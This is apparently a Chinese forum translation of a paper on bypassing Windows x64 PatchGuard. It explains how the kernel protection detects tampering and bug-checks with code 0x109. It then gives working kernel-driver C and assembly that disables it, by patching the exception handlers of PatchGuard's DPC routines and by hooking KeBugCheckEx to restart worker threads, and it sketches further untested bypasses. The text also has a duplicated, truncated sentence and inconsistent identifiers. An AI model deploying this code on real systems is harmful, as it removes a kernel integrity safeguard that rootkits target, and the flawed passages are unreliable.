仔细查看这个异常处理函数后，好像它在特定的条件下就会调用nt!KeBugCheckEx()函数，且BSoD code是 0x109。当你试图篡改关键的结构体时，PG就会通过这个蓝屏码（0x109）来指示蓝屏信息。

以上三个函数的异常处理函数相当类似，且执行的是相同的操作。如果DeferredContext没有被修改过，则异常处理函数最终就会调用执行备份在INITKDB节中的保护context的代码，尤其是nt!FsRtlUninitializeSmallMcb ()函数，这个函数就负责调用各个验证sub-context的函数。

3.5.　报告验证不一致（Reporting Verification Inconsistencies）

PG检测到关键结构体被改变后，其就会调用nt!SdbpCheckDll()函数（nt!SdbpCheckDll具体什么版本，不敢肯

PG检测到关键结构体被改变后，其就会调用nt!SdpCheckDll()函数（code-copy version是什么版本，不敢妄猜，反正是个函数）。传递给这个函数的参数之后也会通过函数地址表（function table）传递给nt!KeBugCheckEx ()函数。这里的function table是存放在PG context中的。nt!SdpCheckDll()函数的作用是在跳转到nt!KeBugCheckEx ()函数前将当前帧（current frame）之前的所有寄存器和栈都清0（原文：The purpose of nt!SdbpCheckDll is to zero out the stack and all of the registers prior to the current frame before jumping to nt!KeBugCheckEx.）。这样做的目的可能是防止第三方驱动检测并根据bug check report修复栈吧。如果检测顺利且没有不一致的情况，则该函数会创建一个新的PG context并再次设置timer，使用的DPC函数就是第一次随机选中的那个函数。

绕过64位windows系统的PatchGuard

了解了PG的大多数关键性的保护原理后，下一个目标就是看是否有方法绕过PG了，主要是想方设法禁用或欺骗验证函数。你可以自己创建一个boot loader，让它在PG初始化之前就运行；也可以修改ntoskrnl.exe，以完全剔除PG初始化。本文采用的方法既不需要凭借入侵操作，也不要去重启系统。事实上，最初的目标是创建一个单独的函数，或几个函数，并采用某种方法将这个或这几个函数抛给设备驱动（device drivers），让它们能够调用一个函数以禁用PG的保护功能，这样驱动开发者依然可以使用现有的hook关键结构体的方法进行hook。
要注意本文所列举的一些方法没有经过测试且只是理论上的方法，本文只介绍经过测试的方法。在深入介绍这个特定的绕过PG的方法前，还需要考虑禁用正在运行的（on the fly）PG的几个技术。第一：验证函数是如何被调用起来的，且是依据什么来完成验证过程的。在这种情况下，验证函数是保存在一个timer的context中进行运行的，这个timer与一个DPC相关联，而这个DPC又是由一个系统工作线程（system worker thread）调用的。最终就会调用到异常处理函数。这个DPC例程就是从primary PG context中的一块函数地址数组中随机选择来的，这个timer对象的超时值DueTime也是随机产生的。如此种种都是为了增加被检测的难度！
撇开这个验证函数不说，我们还知道当PG检测到关键结构体不一致时会调用nt!KeBugCheckEx()函数（0x109）以让系统蓝屏。知道了这些小边信息，绕过PG的思路就更宽了。
4.1. Hooking异常处理函数（Exception Handler Hooking）
既然这个验证函数间接依赖这三个timer DPC例程的异常处理函数来执行，那么改变每个异常处理函数以让它们不做任何处理就变得合情合理了。也就是说即使DPC例程触发了一般保护错误异常（general protection fault），异常处理函数会被调用，但其不会做任何验证检测。经测试，这个方法有效（在当前版本的PG）。
实现这个方法的第一步就是找到已知与PG相关联的函数列表。直到今天，这个列表也只包含那三个函数，但将来有可能不是。找到这个函数数组后，还需要找到每个函数的异常处理函数，并修改每个异常处理函数以返回真（return 0x1）。这个方法的算法如下：

```
static CHAR CurrentFakePoolTagArray[] = "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"; //有空格

NTSTATUS DisablePatchGuard()
{
    UNICODE_STRING SymbolName;
    NTSTATUS Status = STATUS_SUCCESS;
    PVOID * DpcRoutines = NULL;
    PCHAR NtBaseAddress = NULL;
    ULONG Offset;
    RtlInitUnicodeString(
        &SymbolName,
        L"__C_specific_handler");
    do
    {
        //
        // Get the base address of nt
        //
        if (!RtlPcToFileHeader(
            MmGetSystemRoutineAddress(&SymbolName),
            (PCHAR *)&NtBaseAddress))
        {
```

```
`
    Status = STATUS_INVALID_IMAGE_FORMAT;
    break;
}

//
// Search the image to find the first occurrence of:
//
// "AcpSFileIpFIIrp MutaNtFsNtrfSemaTCPc"
//
// This is the fake tag pool array that is used to allocate protection contexts.
//
__try
{
    for (Offset = 0; !DpcRoutines;  Offset += 4)
    {
        //
        // If we find a match for the fake pool tag array, the DPC routine
        // addresses will immediately follow.
        //
        if (memcmp(
            NtBaseAddress + Offset,
            CurrentFakePoolTagArray,
            sizeof(CurrentFakePoolTagArray) - 1) == 0)
        {
            DpcRoutines = (PVOID *)(NtBaseAddress +
                            Offset + sizeof(CurrentFakePoolTagArray) + 3);
        }
    }
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
    //
    // If an exception occurs, we failed to find it. Time to bail out.
    //
    Status = GetExceptionCode();
    break;
}
DebugPrint(("DPC routine array found at %p.",DpcRoutines));
//
// Walk the DPC routine array.
//
for (Offset = 0; DpcRoutines[Offset] && NT_SUCCESS(Status); Offset++)
{
    PRUNTIME_FUNCTION Function;
    ULONG64 ImageBase;
    PCHAR UnwindBuffer;
    UCHAR CodeCount;
    ULONG HandlerOffset;
    PCHAR HandlerAddress;
    PVOID LockedAddress;
    PMDL Mdl;
```

```
//
// If we find no function entry, then go on to the next entry.
//
if ((!(Function = RtlLookupFunctionEntry(
     (ULONG64)DpcRoutines[Offset],
     &ImageBase,
     NULL))) || (!Function->UnwindData))
{
    Status = STATUS_INVALID_IMAGE_FORMAT;
    continue;
}

//
// Grab the unwind exception handler address if we' re able to find one.
//
UnwindBuffer = (PCHAR)(ImageBase + Function->UnwindData);
CodeCount = UnwindBuffer[2];

//
// The handler offset is found within the unwind data that is specific
// to the language in question. Specifically, it' s +0x10 bytes into
// the structure not including the UNWIND_INFO structure itself and any
// embedded codes (including padding). The calculation below accounts
// for all these and padding.
//
HandlerOffset = *(PULONG)((ULONG64)(UnwindBuffer + 3 +
                 (CodeCount * 2) + 20) & ~3);

//
// calculate the full address of the handler to patch.
//
HandlerAddress = (PCHAR)(ImageBase + HandlerOffset);
DebugPrint(("Exception handler for %p found at %p (unwind %p).",
    DpcRoutines[Offset],
    HandlerAddress,
    UnwindBuffer));

//
// Finally, patch the routine to simply return with 1. We' ll patch with:
//
// 6A01 push byte 0x1
// 58 pop eax
// C3 ret
//

//
// Allocate a memory descriptor for the handler' s address.
//
if (!(Mdl = MmCreateMdl( NULL, (PVOID)HandlerAddress, 4)))
{
    Status = STATUS_INSUFFICIENT_RESOURCES;
    continue;
}
```

```
            }

            //
            // Construct the Mdl and map the pages for kernel-mode access.
            //
            MmBuildMdlForNonPagedPool(Mdl);
            if (!(LockedAddress = MmMapLockedPages(Mdl, KernelMode)))
            {
                IoFreeMdl(Mdl);
                Status = STATUS_ACCESS_VIOLATION;
                continue;
            }

            //
            // Interlocked exchange the instructions we're overwriting with.
            //
            InterlockedExchange((PLONG)LockedAddress, 0xc358016a);

            //
            // Unmap and destroy the MDL
            //
            MmUnmapLockedPages(LockedAddress,Mdl);
            IoFreeMdl(Mdl);
        } //for
    } while (0);
    return Status;
}
```

这个方法的优点是其比较小且相对简单，容错能力也比较强。缺点是其要求pool tag数组刚好就在DPC函数地址数组之前且紧挨着，且寻找pool tag数组依赖于一个固定值，而微软将来完全有可能消除该固定值。鉴于这些原因，在产品中最好不要使用该方法。

4.2. Hooking KeBugCheckEx

PG保护无法避免的一个事实就是其必须以某种方法报告验证不一致。事实上，这个方法在检测到打补丁的操作后，必须关闭系统，以防止第三方厂商继续运行代码。这种方法就是调用nt!KeBugCheckEx()函数，bug check code就是之前的0x109。这里采用BSoD，而不是黑屏、直接关机或重启系统的目的是让用户知道发生了什么。（微软还是很厚道的~~~）

本文的作者想绕过这个技术的第一个想法就是让nt!KeBugCheckEx()函数返回到调用者的调用帧（caller's caller frame）中。这样做是有必要的，在调用nt!KeBugCheckEx()函数后，因为编译器立即插入了一个调试器陷阱（debugger trap），所以就不可能返回到调用者那里了，但还是有可能返回到调用者的调用帧中。举个例：FuncA调用FuncB，FuncB触发异常，导致nt!KeBugCheckEx()函数被调用，在不能回到FuncB的情况下，我们让它回到FuncA的帧中（caller's call frame）。但是，我们之前已说过，PG已经将调用nt!KeBugCheckEx()函数之前的栈都清0了。因此，想hook nt!KeBugCheckEx()函数似乎是死路一条。恰恰相反，不是！（被作者吓出一身冷汗 ~~~）

由此衍生出一种方法，你不用担心存储在寄存器或栈上的context，而是利用“每个线程都会保留其自身的入口点地址”这个特征。对于系统工作线程（system worker threads），这个入口点通常就指向nt!ExpWorkerThread ()这样的函数。因为有多个系统工作线程都指向nt!ExpWorkerThread ()，该如何是好？不用担心。传递给这个函数的context参数与具体的线程不相干，因为系统工作线程只是用来处理工作项（work items）和超时的DPC例程。知道了这一点，这个方法归结起来，就是hook nt!KeBugCheckEx()函数并判断bug check code是否是0x109。如果不是0x109，则直接调用原始的nt!KeBugCheckEx()函数。如果是0x109，则这个线程可以重启，重启的方法是修复这个调用线程的栈指针（当前栈指针减0x8），然后跳转到这个线程的StartAddress处。这样做的结果是，线程继续回去一如既往地处理work items和超时的DPC例程。

有个很明显的方法就是简单地结束这个调用线程，但这样做是不可能的。因为OS会持续跟踪系统工作线程并检测其中是否有退出的。系统工作线程的退出会导致系统BSoD。Hook nt!KeBugCheckEx()函数的算法如下：

```
== ext.asm==============
```

```
.data
EXTERN OrigKeBugCheckExRestorePointer:PROC
EXTERN KeBugCheckExHookPointer:PROC
.code
;
; Points the stack pointer at the supplied argument and returns to the caller.
;
public AdjustStackCallPointer
AdjustStackCallPointer PROC
mov rsp, rcx
xchg r8, rcx
jmp rdx
AdjustStackCallPointer ENDP
;
; Wraps the overwritten preamble of KeBugCheckEx.
;
public OrigKeBugCheckEx
OrigKeBugCheckEx PROC
mov [rsp+8h], rcx
mov [rsp+10h], rdx
mov [rsp+18h], r8
lea rax, [OrigKeBugCheckExRestorePointer]
jmp qword ptr [rax]
OrigKeBugCheckEx ENDP
END

== antipatch.c===========
//
// Both of these routines reference the assembly code described
// above
//
extern VOID OrigKeBugCheckEx(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4);
extern VOID AdjustStackCallPointer(
IN ULONG_PTR NewStackPointer,
IN PVOID StartAddress,
IN PVOID Argument);
//
// mov eax, ptr
// jmp eax
//
static CHAR HookStub[] =
"\x48\xb8\x41\x41\x41\x41\x41\x41\x41\x41\xff\xe0";
//
// The offset into the ETHREAD structure that holds the start routine.
//
static ULONG ThreadStartRoutineOffset = 0;
//
```

```
// The pointer into KeBugCheckEx after what has been overwritten by the hook.
//
PVOID OrigKeBugCheckExRestorePointer;
VOID KeBugCheckExHook(
IN ULONG BugCheckCode,
IN ULONG_PTR BugCheckParameter1,
IN ULONG_PTR BugCheckParameter2,
IN ULONG_PTR BugCheckParameter3,
IN ULONG_PTR BugCheckParameter4)
{
PUCHAR LockedAddress;
PCHAR ReturnAddress;
PMDL Mdl = NULL;
//
// Call the real KeBugCheckEx if this isn’ t the bug check code we’ re looking
// for.
//
if (BugCheckCode != 0x109)
{
DebugPrint(("Passing through bug check %.4x to %p.",
BugCheckCode,
OrigKeBugCheckEx));
OrigKeBugCheckEx(
BugCheckCode,
BugCheckParameter1,
BugCheckParameter2,
BugCheckParameter3,
BugCheckParameter4);
}
else
{
PCHAR CurrentThread = (PCHAR)PsGetCurrentThread();
PVOID StartRoutine = *(PVOID **)(CurrentThread + ThreadStartRoutineOffset);
PVOID StackPointer = IoGetInitialStack();
DebugPrint(("Restarting the current worker thread %p at %p (SP=%p, off=%lu).",
PsGetCurrentThread(),
StartRoutine,
StackPointer,
ThreadStartRoutineOffset));
//
// Shift the stack pointer back to its initial value and call the routine. We
// subtract eight to ensure that the stack is aligned properly as thread
// entry point routines would expect.
//
AdjustStackCallPointer((ULONG_PTR)StackPointer - 0x8,
StartRoutine,
NULL);
}
//
// In either case, we should never get here.
//
__debugbreak();
```

```
}
VOID DisablePatchProtectionSystemThreadRoutine(
IN PVOID Nothing)
{
UNICODE_STRING SymbolName;
NTSTATUS Status = STATUS_SUCCESS;
PUCHAR LockedAddress;
PUCHAR CurrentThread = (PUCHAR)PsGetCurrentThread();
PCHAR KeBugCheckExSymbol;
PMDL Mdl = NULL;
RtlInitUnicodeString(
&SymbolName,
L"KeBugCheckEx");
do
{
//
// Find the thread' s start routine offset.
//
for (ThreadStartRoutineOffset = 0;
ThreadStartRoutineOffset < 0x1000;
ThreadStartRoutineOffset += 4)
{
if (*(PVOID **)(CurrentThread +
ThreadStartRoutineOffset) == (PVOID)DisablePatchProtection2SystemThreadRoutine)
break;
}
DebugPrint(("Thread start routine offset is 0x%.4x.",
ThreadStartRoutineOffset));
//
// If we failed to find the start routine offset for some strange reason,
// then return not supported.
//
if (ThreadStartRoutineOffset >= 0x1000)
{
Status = STATUS_NOT_SUPPORTED;
break;
}
//
// Get the address of KeBugCheckEx.
//
if (!(KeBugCheckExSymbol = MmGetSystemRoutineAddress(&SymbolName)))
{
Status = STATUS_PROCEDURE_NOT_FOUND;
break;
}
//
// Calculate the restoration pointer.
//
OrigKeBugCheckExRestorePointer = (PVOID)(KeBugCheckExSymbol + 0xf);
//
// Create an initialize the MDL.
//
if (!(Mdl = MmCreateMdl(
```

```
NULL,
(PVOID)KeBugCheckExSymbol,
0xf)))
{
Status = STATUS_INSUFFICIENT_RESOURCES;
break;
}
MmBuildMdlForNonPagedPool(
Mdl);
//
// Probe & Lock.
//
if (!(LockedAddress = (PUCHAR)MmMapLockedPages(
Mdl,
KernelMode)))
{
IoFreeMdl(
Mdl);
Status = STATUS_ACCESS_VIOLATION;
break;
}
//
// Set the aboslute address to our hook.
//
*(PULONG64)(HookStub + 0x2) = (ULONG64)KeBugCheckExHook;
DebugPrint(("Copying hook stub to %p from %p (Symbol %p).",
LockedAddress,
HookStub,
KeBugCheckExSymbol));
//
// Copy the relative jmp into the hook routine.
//
RtlCopyMemory(
LockedAddress,
HookStub,
0xf);
//
// Cleanup the MDL.
//
MmUnmapLockedPages(
LockedAddress,
Mdl);
IoFreeMdl(
Mdl);
} while (0);
}
//
// A pointer to KeBugCheckExHook
//
PVOID KeBugCheckExHookPointer = KeBugCheckExHook;
NTSTATUS DisablePatchProtection() {
OBJECT_ATTRIBUTES Attributes;
```

```
NTSTATUS Status;
HANDLE ThreadHandle = NULL;
InitializeObjectAttributes(
&Attributes,
NULL,
OBJ_KERNEL_HANDLE,
NULL,
NULL);
//
// Create the system worker thread so that we can automatically find the
// offset inside the ETHREAD structure to the thread’s start routine.
//
Status = PsCreateSystemThread(
&ThreadHandle,
THREAD_ALL_ACCESS,
&Attributes,
NULL,
NULL,
DisablePatchProtectionSystemThreadRoutine,
NULL);
if (ThreadHandle)
ZwClose(
ThreadHandle);
return Status;
}
```

该方法经测试，可以有效绕过目前版本的PG。这个方法的优点是其不依赖任何非导出的依存关系或标识（un-exported dependencies或者signatures），在性能上是零损失的，因为nt!KeBugCheckEx()函数从不会调用，除非系统崩溃了，并且其也不会受到竞争条件的限制。唯一的缺点是期取决于系统工作线程的行为，以及在恢复线程的入口点后再执行时，如果传入的是一个NULL context，这个安全性无法确认。目前认为是安全的。

要使这个方法失效，微软要做几件事：

第一，可能创建一个新的保护sub-context以存放nt!KeBugCheckEx()函数和其要调用的那个函数（应该是异常处理函数）的checksum。在微软检测到nt!KeBugCheckEx()函数被修改后，可能需要做一次hard reboot（冷启动？），且不调用任何外部函数。微软要解决这个问题的方法不多。然而，任何依赖调用地址确定的外部函数的方法都会给类似本文的绕过技术以可乘之机~~~

第二，微软可能在调用nt!KeBugCheckEx()函数前，采用某种有效的方法将线程结构体中的某些字段清0。这可能会使得我们的方法失效，但其不能防止其它的方法，只是可能会费点心思而已。不管怎么样，都必须保证系统工作线程能回去正常处理队列中的work items。

4.3. 找出Timer（Finding the Timer）

这个方法是理论上的，还没有测试过。这个方法就是利用一些启发式算法来定位与PG相关联的timer context。要设计这样的算法，就需要知道设置timer DPC例程的方法：

第一，我们知道与DPC相关联的DeferredRoutine()将指向以下三个函数中的一个：nt!KiScanReadyQueues()、nt!ExpTimeRefreshDpcRoutine()、nt!ExpTimeZoneDpcRoutine()。不幸的是，这三个函数的地址无法直接确定，因为它们没有被导出。但不管怎样，知道有这3个函数，有没有用，以后再说。

第二，我们知道与DPC相关联的DeferredContext将被设置成一个无效的指针。我们还知道在偏移timer结构体起始位置0x88处存放的是一个0x1131（2个字节）。通过大量的调查，还发现了其它一些与这个timer相关的信息（contextual references），这些足以识别出PG的timer了。

解决这个问题的第一步是找到能够枚举timers的方法。在这种情况下，就需要分析timer list的这个未导出的地址，以便能够枚举出所有的活动的timers。然而，要达到这个目的（枚举出所有的活动的timers），我们还有其它的间接方法，比如反汇编一些其涉及到的函数。只是这会有一个小小的问题，就是依靠定位未导出符号（函数或变量）的地址的方法，可能会导致代码不稳定。

另外一个选择（不依赖定位未导出符号）可能就是找到一种方法，其可以找到可以被搜索的地址空间。当然

，搜索时是从nt!MmNonPagedPoolStart开始（windows的非分页池空间的常规区域是从此开始的）。搜索的方法还是上面所介绍的启发式匹配条件。给定一组正确的参数以进行搜索，这似乎是可取的且能很确定地定位到timer结构体。然而，这可能会遇到一个竞争条件，在定位到timer的例程后，且在取消这个例程前，这个timer routine被分发执行了，我们就不得不转入等待状态。要克服这个困难，进行搜索操作的这个线程可能需要将IRQL提升到更高的级别上。当然，在它执行搜索的过程中，其可能禁用其它的处理器。

不管怎么样，只要能定位到timer结构体，要中止PG的验证函数和完全禁用PG，就跟调用nt!KeCancelTimer（）函数一样简单了。如果可能，这种方法是最佳选择，因为其不需要打代码补丁。

如果这种方法经证明是行得通的，那么微软可能采取以下两个方法之一来防止这种方法：

第一，识别出驱动搜索地址空间时所使用的匹配条件，且（微软）认为这种搜索方法是不安全的。这样使用已存在的这些匹配参数来定位timer结构体就不可能了。

第二，微软可以改变引导PG验证函数执行的机制，以致其不利于timer DPC例程。当然，第一个方法更胜一筹。因为第二个方法要重新设计PG的一个很重要的机制已属不易，更何况还要重新考虑用于隐藏PG验证阶段的技术。

4.4. 混合拦截（Hybrid Interception）

前面的方法都是阻止PG的验证程序执行。前面所介绍的hook异常处理的方法我们可称之为事前方法（before-the-fact approach）；hook nt!KeBugCheckEx()函数的方法我们可称之为事后方法（after-the-approach）。从理论上讲，如果能有效结合以上这两种方法，那么就可完全检测PG验证程序的执行了。

有一种可能的方法，就是hook nt!C_specific_handler ()函数。这个函数是导出的，如果这个函数可以被操作，对我们来说就非常有用了。这个函数主要是为函数指定异常函数（exception handlers）。也就是说，PG是通过nt!C_specific_handler ()函数来将DeferredRoutine()指定为其DPC例程的异常函数的。那么我们Hook了这个函数后，我们就可以跟踪异常信息并根据需要进行过滤，以确定是否要运行PG。

4.5. 模拟热补丁（Simulated Hot Patching）

这种方法，原文作者还没研究，我这样的菜鸟就飘过了~~~，有兴趣的朋友可参看原文。

总结

飘过，有兴趣的朋友请参考原文~~~

参考

飘过，有兴趣的朋友请参考原文~~~（有几个URL我没能打开，悲催……）*转载请注明来自看雪论坛@PEdiy.com

上传的附件

	绕过Windows x64上的PatchGuard.zip (216.5 KB, 1125 次下载)